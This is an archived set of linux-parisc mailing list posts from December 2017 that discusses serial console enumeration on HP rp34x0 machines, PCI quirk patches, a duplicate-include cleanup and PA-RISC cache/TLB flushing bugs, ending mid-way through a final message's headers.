X-UI-Out-Filterresults: notjunk:1;V01:K0:XWEL1KXw2/I=:2PmJpkOteNYK/IualXNBkr
 wFCzXeQCblPWYDaQgaXdjqdPzlL1tVWVkT9F+kWjZ5a1lYkkMoWDvZeoNcisBHFiIQr8+SlGa
 4TkUrOiF+f+i5Pw3vQpeCz987E0UQRo622iP/QvzXzpGoOhSz1PzeSdqykKs4AHlkkCmyo7M4
 AOF2x5ps6Vc5KXTdWcmmnRTLIZs0hVJ59LpxCTRsWqsGqVs+4gWpIpDIpUNllirpYrgV/dF5e
 H4ENbntu5Ryd6nTtxTQPGikEjLnZT2Nd5kfz0K2j+C18CZlWCwJEdwcUF8JykrWf4VPfA1AgQ
 OITDQp+oVIEKwX41jlUVjuZkpYYB8TsoamqGzjruxjw3vBwJ8crvFGuIyeoJ5kB3h8unzwY3E
 5lGczsig7YN+F7fMzKCgGPiU9Lkmdl1uVRAo+5yjwl3gTBUuQi6KBOnsyZRT20AOOgxgK/6aC
 1FE1ff/lyzmJyIrBxhc0nAvMeY+VKFMtjlks3yrofhVgSRq2Efq7FtxxpedI5oXUkCa0Fz/Op
 xaatQOsqPBkOJOhDLs7VhrND0Agc0ND1yqqN/8MTfLRTBxRfIjMs482XzGg3dlh8P9oRPuxHa
 AzJ3bvsZM84rWqMsWao0jRsuVW8u0S22DLz9uCQHba9Rc+ZrIpzBh5lBZxjo9S7daQbs17+f2
 xe/rEHZJ4qZR+MUqzRJOcXdflCAVWRqdRJdfG09c+Eo5OiEvrWmIeO4zUFdguYDLVs/0h9gky
 Dmoxi0C1qGSptjnd/kI/nYz41/MzMKlEiba8ZQh9gA4Ld9W84DNndbAPPRUswFfLMWiIpssl 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28044 gmane.linux.debian.ports.hppa:7650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28044>

This is a multi-part message in MIME format.
--------------3C1AED33775088403FE66C0B
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

On 08.12.2017 23:14, John David Anglin wrote:
> On 2017-12-08 4:29 PM, Helge Deller wrote:
>>> root@rp3440:~# lspci -nn
>>> [...]
>>> e0:01.0 Communication controller [0780]: Hewlett-Packard Company Auxiliary Diva Serial Port [103c:1290] (rev 01)
>>> e0:01.1 Serial controller [0700]: Hewlett-Packard Company Diva Serial [GSP] Multiport UART [103c:1048] (rev 03)
>>>
>>> Interesting - actually the current situation looks like what [your patch from May 29th] should have accomplished. But as you dropped it in favor of a patch to palo, it seems to be unrelated.
>>>
>>> [your patch from May 29th]:https://patchwork.kernel.org/patch/9753613/
>> The patch had some other issues which is why I dropped it.
>> I like the testing of the class id much more, as it's done by the current upstream code.
>> E.g. this diva port reports PCI_CLASS_COMMUNICATION_OTHER as PCI CLASS ID, which differs to what the serial port driver should handle.
>>
> Yes, you previously noted that this port has no external connector or access via Ethernet.  I suspect it talks to some internal module.
> I don't know if there's any reason to access the device it's connected to (if any).  It probably should be "ttyO0".
> 
> Although the renumbering of the serial ports is somewhat annoying

Yes, it's really annoying.
Especially right now, where all kernels >= 4.14 need ttyS0, while older onese require ttyS1 as boot console. 
It's confusing.

> maybe palo change should be reverted so default is always ttyS0

Yes, agreed.
With the current situation we are not better with preselecting ttyS1 on rp34x0 machines.

> I would like the enumeration of the RV100 port skipped as the implementation on the rp34xx machines is broken and can't be used.

The RV100 port refers here to the built-in ATI Radeon 7000 graphics card which is part of Diva management card.
It's not working on rp34x0 machines. 

> It's enumeration means one has to explicitly specify the console argument in the boot command line as there seems to no way to
> prefer the serial console port.

Can you please try attached patch which disables the serial MUX and ATI card?
If it works for you and if we backport it to all kernels and if we revert palo to use ttyS0 for all machines we might be good.

Helge

--------------3C1AED33775088403FE66C0B
Content-Type: text/plain; charset=UTF-8;
 name="p1"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="p1"

ZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYyBiL2RyaXZlcnMvcGFyaXNj
L2xiYV9wY2kuYwppbmRleCBhMjVmZWQ1MmY3ZTkuLjhlNDI4MjdkM2MyNyAxMDA2NDQKLS0t
IGEvZHJpdmVycy9wYXJpc2MvbGJhX3BjaS5jCisrKyBiL2RyaXZlcnMvcGFyaXNjL2xiYV9w
Y2kuYwpAQCAtMTY5MiwzICsxNjkyLDM5IEBAIHZvaWQgbGJhX3NldF9pcmVncyhzdHJ1Y3Qg
cGFyaXNjX2RldmljZSAqbGJhLCB1MzIgaWJhc2UsIHUzMiBpbWFzaykKIAlpb3VubWFwKGJh
c2VfYWRkcik7CiB9CiAKKworLyoKKyAqIFRoZSBkZXNpZ24gb2YgdGhlIERpdmEgbWFuYWdl
bWVudCBjYXJkIGluIHJwMzR4MCBtYWNoaW5lcyAocnAzNDEwLCBycDM0NDApCisgKiBzZWVt
cyBydXNoZWQsIHNvIHRoYXQgbWFueSBidWlsdC1pbiBjb21wb25lbnRzIHNpbXBseSBkb24n
dCB3b3JrLgorICogVGhlIGZvbGxvd2luZyBxdWlya3MgZGlzYWJsZSB0aGUgc2VyaWFsIEFV
WCBwb3J0IGFuZCB0aGUgYnVpbHQtaW4gQVRJIFJWMTAwCisgKiBSYWRlb24gNzAwMCBncmFw
aGljcyBjYXJkIHdoaWNoIGJvdGggZG9uJ3QgaGF2ZSBhbnkgZXh0ZXJuYWwgY29ubmVjdG9y
cyBhbmQKKyAqIHRodXMgYXJlIHVzZWxlc3MsIGFuZCBldmVuIHdvcnNlLCBlLmcuIHRoZSBB
VVggcG9ydHMgb2NjdXBpZXMgdHR5UzAgYW5kCisgKiBhcyBzdWNoIG1ha2VzIHRob3NlIG1h
Y2hpbmVzIHRoZSBvbmx5IFBBUklTQyBtYWNoaW5lcyBvbiB3aGljaCB3ZSBjYW4ndAorICog
dXNlIHR0eVMwIGFzIGJvb3QgY29uc29sZS4KKyAqLworc3RhdGljIHZvaWQgcXVpcmtfZGl2
YV9hdGlfY2FyZChzdHJ1Y3QgcGNpX2RldiAqZGV2KQoreworCS8qIHN1YnN5c3RlbSBJRHMg
YXJlIGZyb20gRGl2YSAqLworCWlmIChkZXYtPnN1YnN5c3RlbV92ZW5kb3IgIT0gUENJX1ZF
TkRPUl9JRF9IUCB8fAorCSAgICBkZXYtPnN1YnN5c3RlbV9kZXZpY2UgIT0gMHgxMjkyKQor
CQlyZXR1cm47CisKKwlkZXZfaW5mbyhkZXYsICJIaWRpbmcgRGl2YSBidWlsdC1pbiBBVEkg
Y2FyZC4iKTsKKwlkZXYtPmRldmljZSA9IDA7Cit9CitERUNMQVJFX1BDSV9GSVhVUF9IRUFE
RVIoUENJX1ZFTkRPUl9JRF9BVEksIFBDSV9ERVZJQ0VfSURfQVRJX1JBREVPTl9RWSwKKwlx
dWlya19kaXZhX2F0aV9jYXJkKTsKKworc3RhdGljIHZvaWQgcXVpcmtfZGl2YV9hdXhfZGlz
YWJsZShzdHJ1Y3QgcGNpX2RldiAqZGV2KQoreworCS8qIHN1YnN5c3RlbSBJRHMgYXJlIGZy
b20gRGl2YSAqLworCWlmIChkZXYtPnN1YnN5c3RlbV92ZW5kb3IgIT0gUENJX1ZFTkRPUl9J
RF9IUCB8fAorCSAgICBkZXYtPnN1YnN5c3RlbV9kZXZpY2UgIT0gMHgxMjkxKQorCQlyZXR1
cm47CisKKwlkZXZfaW5mbyhkZXYsICJIaWRpbmcgRGl2YSBidWlsdC1pbiBBVVggc2VyaWFs
IGRldmljZSIpOworCWRldi0+ZGV2aWNlID0gMDsKK30KK0RFQ0xBUkVfUENJX0ZJWFVQX0hF
QURFUihQQ0lfVkVORE9SX0lEX0hQLCBQQ0lfREVWSUNFX0lEX0hQX0RJVkFfQVVYLAorCXF1
aXJrX2RpdmFfYXV4X2Rpc2FibGUpOworCg==
--------------3C1AED33775088403FE66C0B--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pravin Shedge <pravin.shedge4linux@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 37/45] arch/parisc: remove duplicate includes
Date: Sun, 10 Dec 2017 23:54:33 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <1512930273-4711-1-git-send-email-pravin.shedge4linux@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1512930293 11572 195.159.176.226 (10 Dec 2017 18:24:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 10 Dec 2017 18:24:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, pravin.shedge4linux@gmail.com
To: jejb@parisc-linux.org, deller@gmx.de, tglx@linutronix.de,
        gregkh@linuxfoundation.org, pombredanne@nexb.com,
        kstewart@linuxfoundation.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 10 19:24:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eO6HO-000753-N3
	for glpp-linux-parisc@m.gmane.org; Sun, 10 Dec 2017 19:24:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752253AbdLJSYy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 10 Dec 2017 13:24:54 -0500
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:46037 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752218AbdLJSYx (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 10 Dec 2017 13:24:53 -0500
Original-Received: by mail-pf0-f193.google.com with SMTP id u19so9881783pfa.12;
        Sun, 10 Dec 2017 10:24:53 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=5jZqPpJbEtRYXsIPsouKP1WLSxJXsg/zNLQJ7Xa3pQg=;
        b=qri0G6tRd+h2vulaw5WQiJIUvSxRM1ZG3PnECgs0ld110GBuYmcyXwPq6Qs0kyeL+Z
         yMi7qvHwa6bIuyf1CTMqSjkWAex8OB0COtpcITaeOIgJxCPS7LbOYbVoyNmCOhMj7TSQ
         DNBDEEPE5ajRhKc3EOIB8mOujBC3jmo/8584FkCr6byNPTk2Sqpnz65GJBJ0SW7qpQpC
         VBybj5w6ZeyYpf9WAGtA9oKGtV26tHIB2U0K6umFHP+LereUq3wWKM4zIZVKeek0UvcT
         XGTK9Bs8fXfhlTfaKNBfLtYonRzebnnCFRb/rycjoYLL4CSgL/nJRWnNxflsvck/a7ca
         ngVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=5jZqPpJbEtRYXsIPsouKP1WLSxJXsg/zNLQJ7Xa3pQg=;
        b=Oo0BzgtbvKdN3A0IUPtsarmbGXj6gRFp/RJJJVnPSNAfuCg85pn3UQuK7InBcpQXyO
         Fy3XkB62eS9Ab2PGU0PBLocUQQTOPTWEhhYAhdQNIolbWKXQWb/nHl/f9zBxRNO/HnLr
         6jHoxdrihcp3LaJwWEsrdRQ0nXd69DXrUliFF5Mqi3tRsepeVDJA5/vSsjXjsEaq2w8N
         iWQQwT8NkvbN+7w3YKugzlpYEF4FcM6WmC/NAD3vC9iytfInXxBnRlsPpHQQxHUwHXoS
         ppSUJ0AQp4tYMPrrCSgYtbHe/ltNWVh9/bkOCDW2Ko9Y32Jct5CDeYNQH+QXVJ69zlbK
         qrmg==
X-Gm-Message-State: AKGB3mKCw6bKY4UouuWFdyXRT0MEUFeq0s7WFMQlAuvaZCXKFHY2dlPf
        XlUpnd66296KSYuXNNYAzmE=
X-Google-Smtp-Source: ACJfBovxQ0FhKOlJKBC2ItjoHAw79r1jWKHMo3sccYMAmIpVNUU/r4uXKIwxBxtlDJxw5erupfc7Fg==
X-Received: by 10.99.117.87 with SMTP id f23mr212649pgn.133.1512930292958;
        Sun, 10 Dec 2017 10:24:52 -0800 (PST)
Original-Received: from krishna-pc.photonmax3g.wifi ([49.200.244.9])
        by smtp.gmail.com with ESMTPSA id u6sm22590450pfk.126.2017.12.10.10.24.39
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 10 Dec 2017 10:24:52 -0800 (PST)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28045 gmane.linux.kernel:2639320
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28045>

These duplicate includes have been found with scripts/checkincludes.pl but
they have been removed manually to avoid removing false positives.

Signed-off-by: Pravin Shedge <pravin.shedge4linux@gmail.com>
---
 arch/parisc/kernel/unwind.c | 1 -
 arch/parisc/lib/delay.c     | 2 --
 2 files changed, 3 deletions(-)

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 5a65798..143f90e 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -15,7 +15,6 @@
 #include <linux/slab.h>
 #include <linux/kallsyms.h>
 #include <linux/sort.h>
-#include <linux/sched.h>
 
 #include <linux/uaccess.h>
 #include <asm/assembly.h>
diff --git a/arch/parisc/lib/delay.c b/arch/parisc/lib/delay.c
index 7eab4bb..66e5065 100644
--- a/arch/parisc/lib/delay.c
+++ b/arch/parisc/lib/delay.c
@@ -16,9 +16,7 @@
 #include <linux/preempt.h>
 #include <linux/init.h>
 
-#include <asm/processor.h>
 #include <asm/delay.h>

From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Sun, 10 Dec 2017 16:42:50 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <7FD0E306-71B6-44B5-8803-E4465CBFF200@bell.net>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com> <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de> <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com> <53b0b36a-32cd-2421-7d45-0c8ea8cc1ac1@bell.net> <alpine.LRH.2.02.1712080619070.10139@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1512942176 3499 195.159.176.226 (10 Dec 2017 21:42:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 10 Dec 2017 21:42:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 10 22:42:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eO9Mz-0007qZ-Gv
	for glpp-linux-parisc@m.gmane.org; Sun, 10 Dec 2017 22:42:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752368AbdLJVmw convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 10 Dec 2017 16:42:52 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:51158 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752366AbdLJVmw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 10 Dec 2017 16:42:52 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171210214250.ZBLT32387.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 10 Dec 2017 16:42:50 -0500
Original-Received: from [192.168.2.25] (really [70.51.115.243]) by torspm02.bell.net
          with ESMTP
          id <20171210214250.MMVY31064.torspm02.bell.net@[192.168.2.25]>;
          Sun, 10 Dec 2017 16:42:50 -0500
In-Reply-To: <alpine.LRH.2.02.1712080619070.10139@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=UgMXoOu0F2skVU81nElf8A==:17 a=kj9zAlcOel0A:10 a=ocR9PWop10UA:10 a=xNf9USuDAAAA:8 a=FBHGMhGWAAAA:8 a=QMq72iSb4akdlMCUZCcA:9 a=CjuIK1q_8ugA:10 a=jYJgLHWX644A:10 a=SEwjQc04WA-l_NiBhQ7s:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28046>

On 2017-12-08, at 6:22 AM, Mikulas Patocka wrote:

> 
> On Wed, 1 Feb 2017, John David Anglin wrote:
> 
>> On 2017-02-01 3:10 PM, Mikulas Patocka wrote:
>>>> I'm not 100% convinced that 4.9 is fully stable and that the patch
>>>> is the reason for the crashes you see.
>>>> What kind of crashes do you see? Userspace or kernel ?
>>> Userspace crashes. Random crashes or internal errors in gcc when compiling
>>> the kernel. I once had "aptitude" crash.
>> The userspace crashes are present in 4.8 and 4.9 as well.  For example, this
>> build failed due to an OS problem:
>> https://buildd.debian.org/status/fetch.php?pkg=kdenlive&arch=hppa&ver=16.12.1-2&stamp=1485956026&raw=0
>> 
>> Probably, 10% or more large packages fail to build because of this. Note that
>> this only occurs on machines
>> (e.g., c8000) that only support equivalent aliases.  We don't see this on the
>> parisc buildd which has two PA8600 CPUs.
>> 
>> My current theory is the following functions are buggy:
>> 
>> /* vmap range flushes and invalidates.  Architecturally, we don't need
>> * the invalidate, because the CPU should refuse to speculate once an
>> * area has been flushed, so invalidate is left empty */
>> static inline void flush_kernel_vmap_range(void *vaddr, int size)
>> {
>>        unsigned long start = (unsigned long)vaddr;
>> 
>>        flush_kernel_dcache_range_asm(start, start + size);
>> }
>> static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
>> {
>>        unsigned long start = (unsigned long)vaddr;
>>        void *cursor = vaddr;
>> 
>>        for ( ; cursor < vaddr + size; cursor += PAGE_SIZE) {
>>                struct page *page = vmalloc_to_page(cursor);
>> 
>>                if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
>>                        flush_kernel_dcache_page(page);
>>        }
>>        flush_kernel_dcache_range_asm(start, start + size);
>> }
> 
> BTW. if you flush a cache line, then - according to the pa-risc 
> specification - the page stays in the TLB and the CPU can fetch anything 
> that is in the TLB speculatively. So, such a flush could really have no 
> effect.
> 
> The kernel should first flush TLB for the affected range and then flush 
> the data using the tmpalias mapping.

I agree.  Flushing using the tmpalias mapping handles cache move-in correctly but at the moment
we only have routines to flush whole pages.  I think the big problem is we don't create translations
for non access TLB misses correctly.  See top of page F-11.  We should set access rights to 0 or 1
to prevent I-cache move-in, and the T bit to 1 to prevent D-cache move-in.  As things stands, set up
the TLB entry for non access exceptions the same as we do for normal access exceptions.  As a result,
cache flushes may themselves cause a problem.

I had always wondered why this code is backwards:

void flush_kernel_dcache_page_addr(void *addr)
{
        unsigned long flags;

        flush_kernel_dcache_page_asm(addr);
        purge_tlb_start(flags);
        pdtlb_kernel(addr);
        purge_tlb_end(flags);
}

I did try reversing the order yesterday and it it seemed to increase the number of random segmentation faults.
As it stands, there is a bit of a race between the cache flush and the TLB purge.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Mon, 11 Dec 2017 10:26:38 +0200
Organization: Intel Finland Oy
Lines: 136
Approved: news@gmane.org
Message-ID: <1512980798.25007.581.camel@linux.intel.com>
References: <20171208190644.GA22228@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512981250 2688 195.159.176.226 (11 Dec 2017 08:34:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Dec 2017 08:34:10 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>,
        Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 11 09:34:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOJXJ-00081p-0N
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Dec 2017 09:34:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751688AbdLKIeM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Dec 2017 03:34:12 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:60540 "EHLO mga01.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751543AbdLKIeL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Dec 2017 03:34:11 -0500
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 11 Dec 2017 00:34:11 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.45,391,1508828400"; 
   d="scan'208";a="476222"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by fmsmga002.fm.intel.com with ESMTP; 11 Dec 2017 00:34:09 -0800
In-Reply-To: <20171208190644.GA22228@ls3530.fritz.box>
X-Mailer: Evolution 3.26.2-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28047 gmane.linux.serial:28103 gmane.linux.debian.ports.hppa:7652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28047>

On Fri, 2017-12-08 at 20:06 +0100, Helge Deller wrote:
> Adding the linux-serial mailing list:

Thanks for pointing to this out.
Details are below.

> > > Anyway, the *only* problem we have right now is, that the Linux
> > > kernel 4.14 doesn't detect all serial ports which were detected in
> > > earlier kernels.

> > > Thus the kernel will talk to the non-existant serial port at
> > > 0xfffffffff4050010 instead of 0xfffffffff4050000.

Wait, from this sentence you actually confirm that patch removes *non-
existant* ports.

Can you elaborate what you imply here?

> > > 4.13:
> > > [   28.882849] Serial: 8250/16550 driver, 4 ports, IRQ sharing
> > > enabled
> > > [   28.898720] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq
> > > = 73, base_baud = 115200) is a 16450
> > > [   28.934669] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq
> > > = 73, base_baud = 115200) is a 16550A
> > > [   28.963031] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq
> > > = 73, base_baud = 115200) is a 16550A
> > > [   28.984946] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq
> > > = 73, base_baud = 115200) is a 16550A

>From here it looks like multi-function PCI device with two functions
with 1 + 3 serial ports each.

> > > ...but for v4.14.x only the following serial ports are detected:
> > > [   28.671984] Serial: 8250/16550 driver, 4 ports, IRQ sharing
> > > enabled
> > > [   28.708902] 0000:e0:01.1: ttyS0 at MMIO 0xfffffffff4050000 (irq
> > > = 73, base_baud = 115200) is a 16550A
> > > [   28.731145] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050010 (irq
> > > = 73, base_baud = 115200) is a 16550A

I'm quite curious how ttyS0 and ttyS3 in previous run (old kernel)
appear.

> > > 
> > > 
> > > Maybe reverting this commit brings back the old behavior:
> > > https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
> > > /commit/?id=7d8905d064058f4b65057e0101588f362f288bc0
> > 
> > I'm unsure about this commit, it speaks more of avoiding duplicate
> > messages
> > for device enabling.

No, it's about trying IRQs twice, though it might be not fully clear
from commit message: the example there shows that IRQs are probed twice
and on some platforms it may be a problem.

> 
> Reverting this commit:
> 
> commit 7d8905d064058f4b65057e0101588f362f288bc0
> Author: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
> Date:   Mon Jul 24 20:28:32 2017 +0300
> 
>     serial: 8250_pci: Enable device after we check black list
> 
> indeed fixes the problem.
> 
> After reverting, the serial port from the Diva card shows up as ttyS0
> (as before).

> With that patch applied, the serial port from the Diva card gets
> ignored and the previous ttyS1 port becomes ttyS0 which then breaks
> booting the parisc machine because the kernel expects the serial port
> on
> ttyS1.

> I'm not sure what the best way forward is.
> Fact is, that the patch above changes the behaviour and serial ports
> which were existant before suddenly vanish with kernel 4.14.

As stated in the commit message there "We can do this since PCI
specification requires class, device and vendor ID registers to be
always present in the configuration space."

So, my understanding that the patch reveals the issue with these ports.

(Of course, I agree this is regression and needs to be fixed ASAP)

> This following patch does work, and adds back the Diva serial port on
> parisc.

> Not sure if it's acceptable though.

For me it looks like the best quick solution right now.

The proper one sounds like a specific initialization routine for these
ports.

Send it as a formal patch and you may add

Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>

P.S. Sorry, we have no parisc hardware around to test.

> 
> Helge
> 
> diff --git a/drivers/tty/serial/8250/8250_pci.c
> b/drivers/tty/serial/8250/8250_pci.c
> index 0c101a7470b0..61319e968e8c 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -3393,6 +3393,10 @@ static int
> serial_pci_is_class_communication(struct pci_dev *dev)
>  	 * (Should we try to make guesses for multiport serial
> devices
>  	 * later?)
>  	 */
> +	if (IS_ENABLED(CONFIG_PARISC) &&
> +	    (dev->class >> 8) == PCI_CLASS_COMMUNICATION_OTHER)
> +		return 0;
> +
>  	if ((((dev->class >> 8) != PCI_CLASS_COMMUNICATION_SERIAL) &&
>  	     ((dev->class >> 8) != PCI_CLASS_COMMUNICATION_MODEM)) ||
>  	    (dev->class & 0xff) > 6)

-- 
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online...
Date: Mon, 11 Dec 2017 15:46:50 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
References: <2ADB5C8A-DFEB-4CA5-92BA-96E459A3575E@bell.net>
 <8314a5d6-7df7-3282-0d91-a9b414a122e0@web.de>
 <526274E4-88D8-4DF8-8F74-5B775186BBEC@bell.net>
 <cc22ee64-e9f3-aeb4-a9a0-a503f20f9634@web.de>
 <48320506-f7fa-822b-fb45-40eab1dbda02@bell.net>
 <17707adb-4f71-1d66-2a19-3cdfaff047f3@gmx.de>
